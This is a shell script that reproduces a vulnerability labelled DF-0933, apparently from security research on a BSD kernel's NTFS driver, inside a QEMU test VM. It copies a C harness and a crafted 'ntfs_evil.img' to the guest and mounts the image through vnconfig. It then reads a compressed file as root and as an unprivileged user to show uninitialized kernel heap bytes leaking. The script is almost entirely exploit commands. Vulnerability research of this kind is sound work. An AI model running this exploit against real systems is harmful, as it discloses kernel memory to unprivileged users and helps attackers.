#!/bin/sh
# DF-0933 run: deterministic harness + live in-kernel reproduction.
VM="${VM:-./dfbsd-qemu/vm.sh}"
SCP="scp -F dfbsd-qemu/config"

set -e
cd "$(dirname "$0")"

echo "[run] host: copy harness + image to guest"
$SCP -q harness.c dfbsd-maxx:poc/DF-0933/harness.c
mkdir -p /tmp/df0933 >/dev/null 2>&1 || true
python3 craft_img.py /tmp/df0933/ntfs_evil.img
$SCP -q /tmp/df0933/ntfs_evil.img dfbsd:/root/ntfs_evil.img

echo
echo "=== deterministic harness (transcribes ntfs_uncompblock:46-93) ==="
ssh -F dfbsd-qemu/config dfbsd-maxx 'cd poc/DF-0933 && cc -O2 -o harness harness.c && ./harness'

echo
echo "=== live in-kernel uninitialized-tail leak (kernel #0 GENERIC) ==="
$VM run_root 'umount /mnt/evil 2>/dev/null; for d in vn0 vn1 vn2 vn3; do vnconfig -u $d 2>/dev/null; done; vnconfig -c vn0 /root/ntfs_evil.img; mkdir -p /mnt/evil; mount -t ntfs -o ro,-u=1001,-g=1001 /dev/vn0 /mnt/evil; echo "mount rc=$?"; for i in 1 2 3 4 5; do find / -name "*.ko" > /dev/null 2>&1; done; echo "--- root reads (first 64 bytes of compressed file F) ---"; for i in 1 2 3; do echo "root read $i: $(cat /mnt/evil/F 2>/dev/null | head -c 64 | od -An -tx1 | tr -d " \n")"; done; echo "--- byte histogram of first 4096 bytes (nonzero = leaked heap) ---"; cat /mnt/evil/F 2>/dev/null | head -c 4096 | od -An -tx1 | tr -d " \n" | fold -w 2 | sort | uniq -c | sort -rn | head -8'
echo "--- as unprivileged maxx (uid 1001) ---"
$VM run_user 'cat /mnt/evil/F 2>/dev/null | head -c 64 | od -An -tx1; echo "RC=$?"'

echo "RUN_DONE"